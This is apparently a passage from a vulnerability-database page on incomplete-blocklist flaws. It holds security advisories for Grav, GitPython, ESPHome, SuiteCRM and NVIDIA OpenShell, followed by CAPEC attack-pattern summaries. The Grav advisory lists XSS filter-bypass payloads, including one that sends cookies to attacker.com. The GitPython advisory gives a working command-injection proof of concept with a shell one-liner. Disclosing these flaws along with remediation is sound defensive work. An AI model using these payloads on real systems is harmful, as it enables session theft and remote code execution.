access)\n\n```bash\nJWT=$(curl -s http://127.0.0.1/grav/api/v1/auth/token \\\n -X POST -H \"Content-Type: application/json\" \\\n -d \u0027{\"username\":\"user\",\"password\":\"pass\"}\u0027 \\\n | python3 -c \"import json,sys; print(json.load(sys.stdin)[\u0027data\u0027][\u0027access_token\u0027])\")\n```\n\n### Step 2 - Create page with Twig XSS payload\n\n```bash\ncurl -s http://127.0.0.1/grav/api/v1/pages -X POST \\\n -H \"Authorization: Bearer $JWT\" -H \"Content-Type: application/json\" \\\n -d \u0027{\n \"title\": \"xss-page\",\n \"folder\": \"xss-page\",\n \"route\": \"/xss-page\",\n \"template\": \"default\",\n \"header\": {\"title\": \"xss\", \"process\": {\"markdown\": false}},\n \"content\": \"{% set x = \\\"on\\\" ~ \\\"error\\\" %}\u003cimg src=1 {{ x }}=alert(document.domain)\u003e\"\n }\u0027\n```\n\n**Result**: `201 Created` - XSS validator passes because it sees `{{ x }}`, not `onerror`.\n\n### Step 3 - Visit page \u2192 XSS fires\n\n```bash\ncurl -s http://127.0.0.1/grav/xss-page | grep -oP \u0027\u003cimg[^\u003e]*\u003e\u0027\n# Output: \u003cimg src=1 onerror=alert(document.domain)\u003e\n```\n\nOpen in browser: `http://127.0.0.1/grav/xss-page` - `alert(document.domain)` fires.\n\u003cimg width=\"1842\" height=\"996\" alt=\"image\" src=\"https://github.com/user-attachments/assets/eedd2555-266e-41fc-a461-c56631b8a588\" /\u003e\n\u003cimg width=\"1346\" height=\"263\" alt=\"image\" src=\"https://github.com/user-attachments/assets/b42b4ba3-4b8c-40a3-8fc3-62f961835aef\" /\u003e\n\n#### From a low-level user\nAlso From a low-level user normal script such as `\u003cimg src=1 onerror=alert(1)\u003e` this is being blocked by the restriction.\n\u003cimg width=\"1849\" height=\"980\" alt=\"image\" src=\"https://github.com/user-attachments/assets/f1503d4a-7daf-4237-b155-22801b961b57\" /\u003e\n\nBut with payloads such as \u003ca href=\"{{\"java\"~\"script\"}}:alert(1)\"\u003eclick\u003c/a\u003e proves that the we can bypass the blueprint restrictions and upload malicious script to it\n\u003cimg width=\"1841\" height=\"1009\" alt=\"image\" src=\"https://github.com/user-attachments/assets/60af8cf8-840a-4b9c-84ba-6f89355035fd\" /\u003e\n\u003cimg width=\"1524\" height=\"390\" alt=\"image\" src=\"https://github.com/user-attachments/assets/201991b7-3d56-4d85-9bbc-17a63b9cb770\" /\u003e\n\n\n\n### Alternative payloads (all bypass the validator)\n\n| Payload | Twig Source | After Twig | Triggers |\n|---------|------------|------------|----------|\n| Event handler | `\u003cimg src=1 {{\"on\"~\"error\"}}=alert(1)\u003e` | `\u003cimg src=1 onerror=alert(1)\u003e` | Image load fails |\n| Script tag | `\u003cs{{\"c\"~\"r\"~\"i\"~\"p\"~\"t\"}}\u003ealert(1)\u003c/s{{\"c\"~\"r\"~\"i\"~\"p\"~\"t\"}}\u003e` | `\u003cscript\u003ealert(1)\u003c/script\u003e` | Immediately |\n| Protocol bypass | `\u003ca href=\"{{\"java\"~\"script\"}}:alert(1)\"\u003eclick\u003c/a\u003e` | `\u003ca href=\"javascript:alert(1)\"\u003eclick\u003c/a\u003e` | On click |\n| Iframe onload | `\u003ci{{\"f\"~\"r\"~\"a\"~\"m\"~\"e\"}} {{\"on\"~\"load\"}}=alert(1)\u003e` | `\u003ciframe onload=alert(1)\u003e` | Page load |\n| Details toggle | `\u003cdetails open {{\"on\"~\"toggle\"}}=alert(1)\u003e` | `\u003cdetails open ontoggle=alert(1)\u003e` | Page load |\n| Cookie theft | `\u003cimg src=1 {{\"on\"~\"error\"}}=fetch(\"https://attacker.com/?c=\"+document.cookie)\u003e` | `\u003cimg src=1 onerror=fetch(...)\u003e` | Image load fails |\n\n### Admin preview caveat\n\nThe Admin2 SPA renders page previews inside a **sandboxed iframe**:\n\n```html\n\u003ciframe sandbox=\"allow-same-origin allow-scripts allow-forms\"\u003e\u003c/iframe\u003e\n```\n\n`allow-modals` is **not** set - `alert()` is silenced in the admin preview. Use `fetch()`, `document.write()`, or DOM manipulation payloads to prove execution in the admin panel. The frontend page (no iframe) has no such restriction - `alert()` fires directly.\n\n---\n\n## Impact\n\nOnce the Twig content master gate is enabled by an administrator, **any user with page write access** can inject stored XSS into page content that executes for all visitors. The attack:\n\n- **Bypasses all four XSS validator regexes** (`on_events`, `invalid_protocols`, `dangerous_tags`, `html_inline_styles`)\n- **Bypasses the dangerous tag blocklist** (reconstructs `\u003cscript\u003e`, `\u003ciframe\u003e`, `\u003csvg\u003e`, etc.)\n- **Bypasses the invalid protocol blocklist** (reconstructs `javascript:`, `data:`)\n- **Persists** across page edits (stored in page content file)\n- **Executes** for every visitor to the page\n\nAn attacker can steal session cookies, perform actions as the victim, or deface the site.\n\n---\n\n## Remediation\n\n### Option A - Re-run the XSS validator on Twig output\n\nAfter `Twig::processPage()` renders the content, run the XSS validator on the **output** before it is cached and served:\n\n```php\n// In Twig::processPage(), after rendering\n$rendered = $twig-\u003erender($name, $context);\n$result = Security::detectXss($rendered);\nif ($result !== null) {\n // Log and sanitize or block\n Security::logTwigSandboxViolation(\u0027xss_output\u0027, $result, \u0027\u0027, $route);\n return \u0027\u0027; // or return escaped version\n}\n```\n\n### Option B - Disallow `~` and `{% set %}` in sandboxed content (too restrictive)\n\nRemoving string concatenation or variable assignment from the sandbox would break legitimate use cases (e.g., building dynamic class names, assembling URLs).\n\n### Option C - Block dynamic attribute names in Twig output\n\nParse the Twig output for HTML and check if any event handler attributes were dynamically constructed. This is complex but comprehensive.\n\n### Option D - Escape HTML in rendered Twig output\n\nWrap the rendered output with `htmlspecialchars()` unless explicitly marked safe. This is the Twig default behavior \u2014 the `|raw` filter in theme templates bypasses it. Consider removing `|raw` from default themes and requiring explicit `|raw` only for trusted content.",
"id": "GHSA-2c4f-86xc-cr74",
"modified": "2026-09-16T22:13:17Z",
"published": "2026-09-16T22:13:17Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/getgrav/grav/security/advisories/GHSA-2c4f-86xc-cr74"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-61453"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-61710"
},
{
"type": "PACKAGE",
"url": "https://github.com/getgrav/grav"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/grav-before-xss-via-twig-string-concatenation"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Grav: XSS Blueprint Validation Bypass via Twig String Concatenation"
}
GHSA-2F96-G7MH-G2HX
Vulnerability from github – Published: 2026-07-21 19:43 – Updated: 2026-09-08 17:34Command injection via long-option prefix abbreviation bypassing check_unsafe_options (incomplete fix of CVE-2026-42215 / GHSA-rpm5-65cw-6hj4)
Component: gitpython-developers/GitPython (PyPI: GitPython)
Affected: all versions carrying the 3.1.47 blocklist fix, through current main (verified at commit 20c5e275, 3.1.50-42)
Reporter: hackkim
Summary
The 3.1.47 fix for CVE-2026-42215 blocks dangerous git options (--upload-pack, --config, -c, -u for clone; --upload-pack for fetch/pull; --receive-pack, --exec for push) so callers cannot reach command-executing options unless they pass allow_unsafe_options=True.
The fix canonicalizes an option name along one axis (underscore→hyphen via dashify) and checks it against an exact-match dict. It does not account for git's unambiguous long-option prefix abbreviation. Git accepts any unambiguous prefix of a long option (--upload-p, --upload-pa, --upload-pac all resolve to --upload-pack). So a kwarg key like upload_p canonicalizes to upload-p, misses the blocklist dict, and is emitted to git as --upload-p=<value> → executed as --upload-pack=<value> → command injection, in the default allow_unsafe_options=False configuration.
The asymmetry (root cause)
# git/cmd.py (commit 20c5e275), lines 948-974
@classmethod
def _canonicalize_option_name(cls, option):
option_name = option.lstrip("-").split("=", 1)[0]
option_tokens = option_name.split(None, 1)
if not option_tokens:
return ""
return dashify(option_tokens[0]) # only transform: "_" -> "-"
@classmethod
def check_unsafe_options(cls, options, unsafe_options):
canonical_unsafe_options = {cls._canonicalize_option_name(o): o for o in unsafe_options}
for option in options:
unsafe_option = canonical_unsafe_options.get(cls._canonicalize_option_name(option))
if unsafe_option is not None:
raise UnsafeOptionError(...)
The guard normalizes only _→- and does exact dict membership. Git's CLI parser accepts a broader grammar (prefix abbreviation) than the guard models, so abbreviated keys slip through and reach git as the blocked option.
Affected code (commit 20c5e275)
| Location | Role |
|---|---|
git/cmd.py:948-960 _canonicalize_option_name |
canonicalizer — no prefix expansion |
git/cmd.py:963-974 check_unsafe_options |
exact-match dict lookup (the incomplete guard) |
git/cmd.py:1511 transform_kwarg |
emits --<dashify(name)>=<value> to the CLI |
git/repo/base.py:1411,1413 |
clone call sites |
git/remote.py:1074,1128,1201 |
fetch / pull / push call sites |
Bypass keys (verified)
| kwarg key | git resolves to | path | weaponizable |
|---|---|---|---|
upload_p, upload_pac |
--upload-pack |
clone / fetch / pull | Yes — direct RCE |
receive_p |
--receive-pack |
push | Yes — direct RCE |
exe |
--exec |
push | Yes — direct RCE |
conf, confi |
--config |
clone | bypasses option blocklist; RCE needs an additional config vector (see note) |
Minimal PoC
Self-contained, no network egress (a local bare repo acts as the "remote"). Tested on current main (git 2.50.1):
import os, stat, tempfile
from git import Repo
work = tempfile.mkdtemp()
marker = os.path.join(work, "RCE_MARKER")
# fake "upload-pack" program that proves arbitrary command execution
prog = os.path.join(work, "evil.sh")
with open(prog, "w") as f:
f.write(f"#!/bin/sh\ntouch {marker}\nexit 1\n") # exit 1 so git aborts after our code ran
os.chmod(prog, os.stat(prog).st_mode | stat.S_IEXEC)
bare = os.path.join(work, "remote.git")
Repo.init(bare, bare=True)
# attacker-controlled kwarg KEY 'upload_p' -> --upload-p=<prog> -> git runs <prog>
try:
Repo.clone_from(bare, os.path.join(work, "out"), upload_p=prog)
except Exception:
pass # git aborts with GitCommandError AFTER the payload executed
print("RCE marker created:", os.path.exists(marker)) # True -> command injection confirmed
Equivalent at the shell: git clone --upload-p=/tmp/evil.sh src out runs evil.sh.
Confirmed behavior:
- upload_pack (exact) → blocked; upload_p (abbrev) → passes guard, reaches git, executes. The fix works for the form it models but not the abbreviated form.
- allow_unsafe_options=True opt-out behaves as documented (out of scope).
Honest scope note
Like the parent CVE, exploitation requires a host application that flows attacker-controlled kwarg keys into a GitPython clone/fetch/pull/push. Where the host passes only fixed/validated keys, this is not reachable — the vulnerability is in the library's documented defense-in-depth control (allow_unsafe_options=False), which this variant defeats.
On the --config family: conf bypasses the option blocklist, but weaponizing --config protocol.ext.allow=always via an ext:: URL is independently blocked by GitPython's protocol allowlist (allow_unsafe_protocols=False). The directly weaponizable family is upload-pack / receive-pack / exec. Reported transparently — not claiming Critical.
Suggested remediation (any one)
- Prefix-aware matching: reject any option whose canonical name is an unambiguous prefix of a blocked option (≈
startswithon the blocked canonical name, afterdashify). - Disable abbreviation at the sink: pass
--end-of-optionsor invoke git in a way that disables long-option abbreviation. - Allowlist option names on security-sensitive subcommands instead of a blocklist.
Remediation should also cover the -c/--config family abbreviations, even though the ext:: route is currently gated by the protocol allowlist.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.1.50"
},
"package": {
"ecosystem": "PyPI",
"name": "GitPython"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.51"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-67325"
],
"database_specific": {
"cwe_ids": [
"CWE-78",
"CWE-184"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-21T19:43:43Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Command injection via long-option prefix abbreviation bypassing `check_unsafe_options` (incomplete fix of CVE-2026-42215 / GHSA-rpm5-65cw-6hj4)\n\n**Component:** gitpython-developers/GitPython (PyPI: GitPython)\n**Affected:** all versions carrying the 3.1.47 blocklist fix, through current `main` (verified at commit `20c5e275`, `3.1.50-42`)\n**Reporter:** hackkim\n\n### Summary\n\nThe 3.1.47 fix for CVE-2026-42215 blocks dangerous git options (`--upload-pack`, `--config`, `-c`, `-u` for clone; `--upload-pack` for fetch/pull; `--receive-pack`, `--exec` for push) so callers cannot reach command-executing options unless they pass `allow_unsafe_options=True`.\n\nThe fix canonicalizes an option name along **one** axis (underscore\u2192hyphen via `dashify`) and checks it against an **exact-match** dict. It does not account for git\u0027s unambiguous long-option prefix abbreviation. Git accepts any unambiguous prefix of a long option (`--upload-p`, `--upload-pa`, `--upload-pac` all resolve to `--upload-pack`). So a kwarg key like `upload_p` canonicalizes to `upload-p`, misses the blocklist dict, and is emitted to git as `--upload-p=\u003cvalue\u003e` \u2192 executed as `--upload-pack=\u003cvalue\u003e` \u2192 command injection, in the default `allow_unsafe_options=False` configuration.\n\n### The asymmetry (root cause)\n\n```python\n# git/cmd.py (commit 20c5e275), lines 948-974\n@classmethod\ndef _canonicalize_option_name(cls, option):\n option_name = option.lstrip(\"-\").split(\"=\", 1)[0]\n option_tokens = option_name.split(None, 1)\n if not option_tokens:\n return \"\"\n return dashify(option_tokens[0]) # only transform: \"_\" -\u003e \"-\"\n\n@classmethod\ndef check_unsafe_options(cls, options, unsafe_options):\n canonical_unsafe_options = {cls._canonicalize_option_name(o): o for o in unsafe_options}\n for option in options:\n unsafe_option = canonical_unsafe_options.get(cls._canonicalize_option_name(option))\n if unsafe_option is not None:\n raise UnsafeOptionError(...)\n```\n\nThe guard normalizes only `_`\u2192`-` and does exact dict membership. Git\u0027s CLI parser accepts a broader grammar (prefix abbreviation) than the guard models, so abbreviated keys slip through and reach git as the blocked option.\n\n### Affected code (commit `20c5e275`)\n\n| Location | Role |\n|---|---|\n| `git/cmd.py:948-960` `_canonicalize_option_name` | canonicalizer \u2014 no prefix expansion |\n| `git/cmd.py:963-974` `check_unsafe_options` | exact-match dict lookup (the incomplete guard) |\n| `git/cmd.py:1511` `transform_kwarg` | emits `--\u003cdashify(name)\u003e=\u003cvalue\u003e` to the CLI |\n| `git/repo/base.py:1411,1413` | clone call sites |\n| `git/remote.py:1074,1128,1201` | fetch / pull / push call sites |\n\n### Bypass keys (verified)\n\n| kwarg key | git resolves to | path | weaponizable |\n|---|---|---|---|\n| `upload_p`, `upload_pac` | `--upload-pack` | clone / fetch / pull | Yes \u2014 direct RCE |\n| `receive_p` | `--receive-pack` | push | Yes \u2014 direct RCE |\n| `exe` | `--exec` | push | Yes \u2014 direct RCE |\n| `conf`, `confi` | `--config` | clone | bypasses option blocklist; RCE needs an additional config vector (see note) |\n\n### Minimal PoC\n\nSelf-contained, no network egress (a local bare repo acts as the \"remote\"). Tested on current `main` (git 2.50.1):\n\n```python\nimport os, stat, tempfile\nfrom git import Repo\n\nwork = tempfile.mkdtemp()\nmarker = os.path.join(work, \"RCE_MARKER\")\n\n# fake \"upload-pack\" program that proves arbitrary command execution\nprog = os.path.join(work, \"evil.sh\")\nwith open(prog, \"w\") as f:\n f.write(f\"#!/bin/sh\\ntouch {marker}\\nexit 1\\n\") # exit 1 so git aborts after our code ran\nos.chmod(prog, os.stat(prog).st_mode | stat.S_IEXEC)\n\nbare = os.path.join(work, \"remote.git\")\nRepo.init(bare, bare=True)\n\n# attacker-controlled kwarg KEY \u0027upload_p\u0027 -\u003e --upload-p=\u003cprog\u003e -\u003e git runs \u003cprog\u003e\ntry:\n Repo.clone_from(bare, os.path.join(work, \"out\"), upload_p=prog)\nexcept Exception:\n pass # git aborts with GitCommandError AFTER the payload executed\n\nprint(\"RCE marker created:\", os.path.exists(marker)) # True -\u003e command injection confirmed\n```\n\nEquivalent at the shell: `git clone --upload-p=/tmp/evil.sh src out` runs `evil.sh`.\n\nConfirmed behavior:\n- `upload_pack` (exact) \u2192 blocked; `upload_p` (abbrev) \u2192 passes guard, reaches git, executes. The fix works for the form it models but not the abbreviated form.\n- `allow_unsafe_options=True` opt-out behaves as documented (out of scope).\n\n### Honest scope note\n\nLike the parent CVE, exploitation requires a host application that flows attacker-controlled kwarg **keys** into a GitPython clone/fetch/pull/push. Where the host passes only fixed/validated keys, this is not reachable \u2014 the vulnerability is in the library\u0027s documented defense-in-depth control (`allow_unsafe_options=False`), which this variant defeats.\n\nOn the `--config` family: `conf` bypasses the option blocklist, but weaponizing `--config protocol.ext.allow=always` via an `ext::` URL is independently blocked by GitPython\u0027s protocol allowlist (`allow_unsafe_protocols=False`). The directly weaponizable family is `upload-pack` / `receive-pack` / `exec`. Reported transparently \u2014 not claiming Critical.\n\n### Suggested remediation (any one)\n\n1. **Prefix-aware matching:** reject any option whose canonical name is an unambiguous prefix of a blocked option (\u2248 `startswith` on the blocked canonical name, after `dashify`).\n2. **Disable abbreviation at the sink:** pass `--end-of-options` or invoke git in a way that disables long-option abbreviation.\n3. **Allowlist** option names on security-sensitive subcommands instead of a blocklist.\n\nRemediation should also cover the `-c`/`--config` family abbreviations, even though the `ext::` route is currently gated by the protocol allowlist.",
"id": "GHSA-2f96-g7mh-g2hx",
"modified": "2026-09-08T17:34:34Z",
"published": "2026-07-21T19:43:43Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-2f96-g7mh-g2hx"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-67325"
},
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/pull/2161"
},
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/commit/56806080c1348749b07daa4a2024ce47b3cad285"
},
{
"type": "PACKAGE",
"url": "https://github.com/gitpython-developers/GitPython"
},
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.51"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/gitpython-before-command-injection-via-option-prefix-abbreviation"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "GitPython: Command Injection via git long-option prefix abbreviation bypass of CVE-2026-42215 blocklist"
}
GHSA-2G7J-RV69-9W67
Vulnerability from github – Published: 2026-08-05 15:32 – Updated: 2026-08-05 15:32ESPHome through 2026.7.0-dev contains an operator-precedence bug in the cv.url() validator in esphome/config_validation.py: if parsed.scheme and parsed.netloc or parsed.scheme == "file": return parsed.geturl(). Because and binds tighter than or, any file: URI passes validation regardless of netloc. This validator gates the url: field of the external_components YAML directive's git source schema, which is passed to git clone (git supports file:// natively). A crafted external_components block with url: "file:///attacker/repo" clones an attacker-controlled local path, which is then added to Python's import machinery via ESPHome's component loader, executing arbitrary Python code when the YAML configuration is processed (e.g. via esphome config/esphome run).
{
"affected": [],
"aliases": [
"CVE-2026-71259"
],
"database_specific": {
"cwe_ids": [
"CWE-184"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-05T13:24:49Z",
"severity": "HIGH"
},
"details": "ESPHome through 2026.7.0-dev contains an operator-precedence bug in the cv.url() validator in esphome/config_validation.py: `if parsed.scheme and parsed.netloc or parsed.scheme == \"file\": return parsed.geturl()`. Because `and` binds tighter than `or`, any file: URI passes validation regardless of netloc. This validator gates the `url:` field of the external_components YAML directive\u0027s git source schema, which is passed to `git clone` (git supports file:// natively). A crafted `external_components` block with `url: \"file:///attacker/repo\"` clones an attacker-controlled local path, which is then added to Python\u0027s import machinery via ESPHome\u0027s component loader, executing arbitrary Python code when the YAML configuration is processed (e.g. via `esphome config`/`esphome run`).",
"id": "GHSA-2g7j-rv69-9w67",
"modified": "2026-08-05T15:32:19Z",
"published": "2026-08-05T15:32:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-71259"
},
{
"type": "WEB",
"url": "https://github.com/esphome/esphome"
},
{
"type": "WEB",
"url": "https://github.com/esphome/esphome/blob/dev/esphome/config_validation.py"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-2J5Q-PH68-3HP6
Vulnerability from github – Published: 2022-05-17 02:13 – Updated: 2022-05-17 02:13Incomplete blacklist vulnerability in SuiteCRM 7.2.2 allows remote authenticated users to execute arbitrary code by uploading a file with an executable extension.
{
"affected": [],
"aliases": [
"CVE-2015-5946"
],
"database_specific": {
"cwe_ids": [
"CWE-184"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-08-07T20:29:00Z",
"severity": "HIGH"
},
"details": "Incomplete blacklist vulnerability in SuiteCRM 7.2.2 allows remote authenticated users to execute arbitrary code by uploading a file with an executable extension.",
"id": "GHSA-2j5q-ph68-3hp6",
"modified": "2022-05-17T02:13:52Z",
"published": "2022-05-17T02:13:52Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2015-5946"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2015/08/06/6"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2016/03/02/5"
},
{
"type": "WEB",
"url": "http://xiphosresearch.com/2016/03/01/Vulnerability-Inheritance-across-Forks.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-2MFX-8QW9-7HFH
Vulnerability from github – Published: 2026-08-25 21:31 – Updated: 2026-08-25 21:31NVIDIA OpenShell for Linux contains a vulnerability in its sandbox provisioning API, where an attacker could cause an incomplete list of disallowed inputs. A successful exploit of this vulnerability might lead to code execution, escalation of privileges, information disclosure, data tampering, and denial of service.
{
"affected": [],
"aliases": [
"CVE-2026-65083"
],
"database_specific": {
"cwe_ids": [
"CWE-184"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-25T21:17:28Z",
"severity": "CRITICAL"
},
"details": "NVIDIA OpenShell for Linux contains a vulnerability in its sandbox provisioning API, where an attacker could cause an incomplete list of disallowed inputs. A successful exploit of this vulnerability might lead to code execution, escalation of privileges, information disclosure, data tampering, and denial of service.",
"id": "GHSA-2mfx-8qw9-7hfh",
"modified": "2026-08-25T21:31:30Z",
"published": "2026-08-25T21:31:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-65083"
},
{
"type": "WEB",
"url": "https://github.com/NVIDIA/product-security/tree/main/2026/5872"
},
{
"type": "WEB",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-65083"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
Strategy: Input Validation
Do not rely exclusively on detecting disallowed inputs. There are too many variants to encode a character, especially when different environments are used, so there is a high likelihood of missing some variants. Only use detection of disallowed inputs as a mechanism for detecting suspicious activity. Ensure that you are using other protection mechanisms that only identify "good" input - such as lists of allowed inputs - and ensure that you are properly encoding your outputs.
CAPEC-120: Double Encoding
The adversary utilizes a repeating of the encoding process for a set of characters (that is, character encoding a character encoding of a character) to obfuscate the payload of a particular request. This may allow the adversary to bypass filters that attempt to detect illegal characters or strings, such as those that might be used in traversal or injection attacks. Filters may be able to catch illegal encoded strings, but may not catch doubly encoded strings. For example, a dot (.), often used in path traversal attacks and therefore often blocked by filters, could be URL encoded as %2E. However, many filters recognize this encoding and would still block the request. In a double encoding, the % in the above URL encoding would be encoded again as %25, resulting in %252E which some filters might not catch, but which could still be interpreted as a dot (.) by interpreters on the target.
CAPEC-15: Command Delimiters
An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or denylist input validation, as opposed to allowlist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or denylist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on.
CAPEC-182: Flash Injection
An attacker tricks a victim to execute malicious flash content that executes commands or makes flash calls specified by the attacker. One example of this attack is cross-site flashing, an attacker controlled parameter to a reference call loads from content specified by the attacker.
CAPEC-3: Using Leading 'Ghost' Character Sequences to Bypass Input Filters
Some APIs will strip certain leading characters from a string of parameters. An adversary can intentionally introduce leading "ghost" characters (extra characters that don't affect the validity of the request at the API layer) that enable the input to pass the filters and therefore process the adversary's input. This occurs when the targeted API will accept input data in several syntactic forms and interpret it in the equivalent semantic way, while the filter does not take into account the full spectrum of the syntactic forms acceptable to the targeted API.
CAPEC-43: Exploiting Multiple Input Interpretation Layers
An attacker supplies the target software with input data that contains sequences of special characters designed to bypass input validation logic. This exploit relies on the target making multiples passes over the input data and processing a "layer" of special characters with each pass. In this manner, the attacker can disguise input that would otherwise be rejected as invalid by concealing it with layers of special/escape characters that are stripped off by subsequent processing steps. The goal is to first discover cases where the input validation layer executes before one or more parsing layers. That is, user input may go through the following logic in an application: <parser1> --> <input validator> --> <parser2>. In such cases, the attacker will need to provide input that will pass through the input validator, but after passing through parser2, will be converted into something that the input validator was supposed to stop.
CAPEC-6: Argument Injection
An attacker changes the behavior or state of a targeted application through injecting data or command syntax through the targets use of non-validated and non-filtered arguments of exposed services or methods.
CAPEC-71: Using Unicode Encoding to Bypass Validation Logic
An attacker may provide a Unicode string to a system component that is not Unicode aware and use that to circumvent the filter or cause the classifying mechanism to fail to properly understanding the request. That may allow the attacker to slip malicious data past the content filter and/or possibly cause the application to route the request incorrectly.
CAPEC-73: User-Controlled Filename
An attack of this type involves an adversary inserting malicious characters (such as a XSS redirection) into a filename, directly or indirectly that is then used by the target software to generate HTML text or other potentially executable content. Many websites rely on user-generated content and dynamically build resources like files, filenames, and URL links directly from user supplied data. In this attack pattern, the attacker uploads code that can execute in the client browser and/or redirect the client browser to a site that the attacker owns. All XSS attack payload variants can be used to pass and exploit these vulnerabilities.
CAPEC-85: AJAX Footprinting
This attack utilizes the frequent client-server roundtrips in Ajax conversation to scan a system. While Ajax does not open up new vulnerabilities per se, it does optimize them from an attacker point of view. A common first step for an attacker is to footprint the target environment to understand what attacks will work. Since footprinting relies on enumeration, the conversational pattern of rapid, multiple requests and responses that are typical in Ajax applications enable an attacker to look for many vulnerabilities, well-known ports, network locations and so on. The knowledge gained through Ajax fingerprinting can be used to support other attacks, such as XSS.